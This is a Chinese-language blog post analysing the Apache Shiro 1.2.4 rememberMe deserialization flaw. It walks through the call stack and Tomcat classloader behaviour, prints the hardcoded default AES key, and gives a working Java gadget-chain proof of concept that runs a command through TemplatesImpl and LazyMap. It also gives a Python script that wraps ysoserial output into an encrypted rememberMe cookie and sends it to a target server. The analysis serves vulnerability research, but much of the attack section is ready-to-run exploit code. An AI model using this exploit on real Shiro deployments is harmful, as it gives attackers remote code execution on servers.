zoukankan      html  css  js  c++  java
  • shiro-1.2.4反序列化分析踩坑

    原文:http://w4nder.top/?p=410

    环境搭建

    github上下载源码,配上tomcat运行shiro-web

    shiro-root pom.xml

    <dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <!--  这里需要将jstl替换为1.2 -->
    <version>1.2</version>
    <scope>runtime</scope>
    </dependency>
    

    shiro-web pom.xml

    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-catalina</artifactId>
        <version>9.0.38</version>
        <scope>provided</scope>
    </dependency>
    

    反序列化

    shiro在cookie的rememberMe中存放密钥加密的序列化数据,而1.2.4中的key是默认不变的,所以导致能任意修改cookie反序列化

    encrypt

    登陆时勾选rememberMe,调用栈

    DelegatingSubject.login()
    ->DelegatingSubject.login()
    ->DelegatingSubject.onSuccessfulLogin()
    ->DelegatingSubject.rememberMeSuccessfulLogin()
    ->AbstractRememberMeManager.javaonSuccessfulLogin()
    ->AbstractRememberMeManager.rememberIdentity()
    ->AbstractRememberMeManager.rememberIdentity()
      ->AbstractRememberMeManager.convertPrincipalsToBytes()
      ->AbstractRememberMeManager.encrypt() #加密登陆信息
    ->CookieRememberMeManager.javarememberSerializedIdentity() #设置cookie
    

    CookieRememberMeManager.javarememberSerializedIdentity()#156放入cookie
    图片

    key默认是

    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
    

    decrypt

    用ysoserial的URLDNS测试一下,删掉session,替换rememberMe,顺着decrypt函数往上找,打个断点

    图片

    部分调用栈

    图片

    getRememberedSerializedIdentity读取cookie并base解码

    图片

    返回加密的序列化数据,跟入convertBytesToPrincipals

    图片

    然后对序列化数据解密,在deserialize中触发readobject()

    图片

    dnslog

    图片

    commons-collections:3.2.1 无法利用的原因

    然后可以根据环境选择利用链,不过这里无法使用commons-collections:3.2.1

    先简单看一下反序列化流程:

    由readobject到readobject0,在switch中调用readOrdinaryObject

    readOrdinaryObject(boolean unshared)方法读取类描述信息

    图片

    其中readClassDesc返回一个ObjectStreamClass对象desc,它包含类的名字和序列版本号一些基本信息,如图

    图片

    对desc进行实例化生成obj实例

    图片

    然后在下面readSerialData就是具体读取序列化数据的内容,然后判断有没有重写readObject函数等等

    图片

    图片

    现在进入readClassDesc具体看一下,switch分支进入readNonProxyDesc,主要看resolveClass这个函数,当前调用栈

    图片

    ClassResolvingObjectInputStream.resolveClass()

    图片

    这里需要注意这个resovleClass是重写父类ObjectInputStream的

    图片

    原本的resolveClass是这样的

    图片

    前面说过readClassDesc执行后会对其返回的结果进行实例化,那么这里resolveClass就是通过反射获取类具体实现的函数,不过ClassResolvingObjectInputStream使用的是ClassUtils.forName而不是Class.forName

    先跟入ClassUtils.forName,这里首先使用了THREAD_CL_ACCESSOR.loadClass类加载器,这里手动F9就会发现fqcn变成了

    [Lorg.apache.commons.collections.Transformer;
    

    图片

    [L是一个JVM的标记,说明实际上这是一个数组,即Transformer[]

    跟入loadClass,在这里,两种方式加载类,会发现cl.loadClass抛出ClassNotFound异常,而使用正常的Class.forName()却能正常加载,为什么

    图片

    踩了很多坑,下面简单说一下

    先继续进入loadClass,调用WebappClassLoaderBase.loadClass(),它首先会先尝试从本地cache中加载类,找不到就会从父加载器URLClassLoader中加载

    http://tomcat.apache.org/tomcat-8.0-doc/api/org/apache/catalina/loader/WebappClassLoaderBase.html#loadClass(java.lang.String)

    图片

    从图中百度翻译可知...当本地cache或存储库中均无时,则通过父类加载器URLClassLoader.loadClass()加载(这里的WebappClassLoaderBase文件就用到最开始环境搭建那一块加载的tomcat-catalina了)

    首先先进入findLoadClass0,从本地读取

    图片

    图片

    this.binaryNameToPath会将name转化成path的形式然后放到resourceEntries.get去加载,但是这里的path是

    /[Lorg/apache/commons/collections/Transformer;.class
    

    怎么可能能找到正常的类呢(后面几个函数也是类似如此)
    图片

    在本地找不到那就要使父加载器URLClassLoader来加载了,838行(到了这一步基本上跟普通的Class.forName一样了,只是加载器变成了URLClassLoader)

    图片

    然后跟到这里,当前name还是数组形式

    图片

    继续往下调试的时候发现这个name的数组特征被消除了

    图片

    一路debug,到URLClassLoader这里,尝试从URLClassLoader加载器中获取

    org/apache/commons/collections/Transformer.class

    图片

    但是返回结果却是null,因为path虽然正常,但是可以看一下在URLClassLoader加载器中包含的path,发现当前的类加载器URLClassLoader中没有commons-collections-3.2.1.jar

    图片

    所以会抛出ClassNotFound的异常

    图片

    这是因为:

    Tomcat和JDK的Classpath是不公用且不同的,Tomcat启动时,不会用JDK的Classpath

    这里如果给他添加一个包路径

    Class.forName("[Lorg.apache.commons.collections.Transformer;", true, new URLClassLoader(new URL[]{new URL("file:/C:/Users/xc/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar")}));
    

    可以发现成功加载
    图片

    所以并不是因为ClassLoader.loadClass不能加载数组,如这个java原生的数组就可以

    图片

    而是因为:

    1. 数组形式会使得shiro想尝试从本地加载时,path也被赋上数组标识,导致无法从本地jar包中正常获取。
    2. 而URLClassLoader中是因为Tomcat和JDK的Classpath的不同,导致即使path正确,也无法找到对应class

    如果这里把URLClassLoader替换成ParallelWebappClassLoader就不会报错了

    图片

    http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-CVE-2016-4437/#%E8%B7%B3%E5%9D%91

    3.2.1 payload

    这里使用了这位师傅的利用链

    java.util.HashSet.readObject()
    -> java.util.HashMap.put()
    -> java.util.HashMap.hash()
    	-> TiedMapEntry.hashCode()
    	-> TiedMapEntry.getValue()
    		-> LazyMap.get()
    		-> InvokerTransformer.transform()
    			-> java.lang.reflect.Method.invoke()
          ... templates gadgets ...
          -> java.lang.Runtime.exec()
    

    因为不能使用transformer数组,所以需要使用javassist技术还原字节码,也就要想办法触发TemplatesImpl.newTransformer()
    这里还是选用InvokerTransformer,参数为

    input=TemplatesImpliMethodName=newTransformer

    现在想办法触发InvokerTransformer.transform(),有两种方法:

    1. lazyMap.get
    2. TransformingComparator.compare

    但是TransformingComparator在低版本的CommonsCollections3.2.1中还没实现Serializable接口所以无法序列化,那就LazyMap.get吧

    缝合一下,poc:

    public class test {
        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(String.valueOf(AbstractTranslet.class));
            CtClass ctClass = pool.get(test.class.getName());
            ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            String code = "{java.lang.Runtime.getRuntime().exec("calc.exe");}";
            ctClass.makeClassInitializer().insertAfter(code);
            ctClass.setName("evil");
            byte[] bytes = ctClass.toBytecode();
            byte[][] bytecode = new byte[][]{bytes};
            TemplatesImpl templates = TemplatesImpl.class.newInstance();
            setField(templates,"_bytecodes",bytecode);
            setField(templates,"_name","test");
            setField(templates,"_class",null);
            setField(templates,"_tfactory", TransformerFactoryImpl.class.newInstance());
            InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
            
            Map innerMap = new HashMap();
            LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap,transformer);
            TiedMapEntry tme = new TiedMapEntry(outerMap,templates);
            Map expMap = new HashMap();
            expMap.put(tme,"valuevalue");
            outerMap.remove(templates);
            setField(transformer, "iMethodName", "newTransformer");
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(expMap);
            oos.close();
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
        }
        public static void setField(Object obj, String field,Object value) throws Exception {
            Field f = obj.getClass().getDeclaredField(field);
            f.setAccessible(true);
            f.set(obj,value);
        }
    }
    

    也可以用https://github.com/wh1t3p1g/ysoserial

    #coding:utf-8
    import base64
    import sys
    import uuid
    import subprocess
    import requests
    from Crypto.Cipher import AES
    def dnslog(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections10', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_rememberMe_value
    
    if __name__ == '__main__':
        payload = dnslog('calc')
        print("rememberMe={}".format(payload.decode()))
        cookie = {
            "rememberMe": payload.decode()
        }
        requests.get(url="http://localhost:8091/samples_web_war/", cookies=cookie)
    

    图片

    参考:

    https://blog.0kami.cn/2019/11/10/java/study-java-deserialized-shiro-1-2-4/

    http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe

    https://paper.seebug.org/shiro-rememberme-1-2-4/

    https://blog.zsxsoft.com/post/35

  • 相关阅读:
    SqlServer 查看数据库中所有存储过程
    SqlServer 查看数据库中所有视图
    SqlServer 查询表的详细信息
    SqlServer 遍历修改字段长度
    net core 操作Redis
    Tuning SharePoint Workflow Engine
    Open With Explorer
    Download language packs for SharePoint 2013
    Change Maximum Size For SharePoint List Template when Saving
    Six ways to store settings in SharePoint
  • 原文地址:https://www.cnblogs.com/W4nder/p/14508817.html
Copyright © 2011-2022 走看看